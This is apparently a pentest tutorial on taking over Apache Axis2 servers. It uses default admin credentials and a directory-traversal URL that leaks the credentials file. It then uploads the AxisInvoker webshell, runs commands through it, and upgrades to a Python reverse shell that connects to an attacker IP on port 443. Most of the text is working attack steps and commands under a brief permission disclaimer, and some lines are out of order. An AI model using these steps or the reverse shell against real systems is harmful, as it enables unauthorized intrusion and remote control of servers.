I do not condone or take responsibility for any illegal use of this tutorial. Please only target hosts you have permission to test.
For this exploit to work you must have:
- Valid admin console credentials
- Default = admin:axis2
I have found Nmap and OpenVAS have good modules to help us find the credentials for it.
$ nmap -p<port> --script http-axis2-dir-traversal <ip> |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
- There is a Metasploit module at "exploit/multi/http/axis2_deployer".
- The code can be found at Github.
- I have tried this exploit multiple times with no success.
- Navigating to https://victim.com/axis2/services/Version?xsd=../conf/axis2.xml will allow us to get the credentials. They should look like this:
- When you navigate to https://victim.com/axis2/axis2-admin/ it should give you the login portal.
<parameter name="userName">admin</parameter> <parameter name="password">axis2</parameter>
Create the Payload
A simple Axis2 webshell can be found at https://github.com/CaledoniaProject/AxisInvoker
- Download the file
- Compile the file
- Modify $JAVA_HOME if necessary
- "ant -v" to build
- Upload the AxisInvoker.aar service.
- Verify the deployment by checking the Deactivate or Activate service tab.
- Verify the shell works by running https://victim.com/axis2/services/AxisInvoker/exec?cmd=id
- Since stable shells are superior to web shells, we will improve to a stable shell. You will need to find what languages are on the system or use a system native option (like nc).
- Get a shell and modify it to your host machine.
- I usually get most of my shells from PentestMonkey
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<AttackerIP>",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
Hope that helps in your future pentests!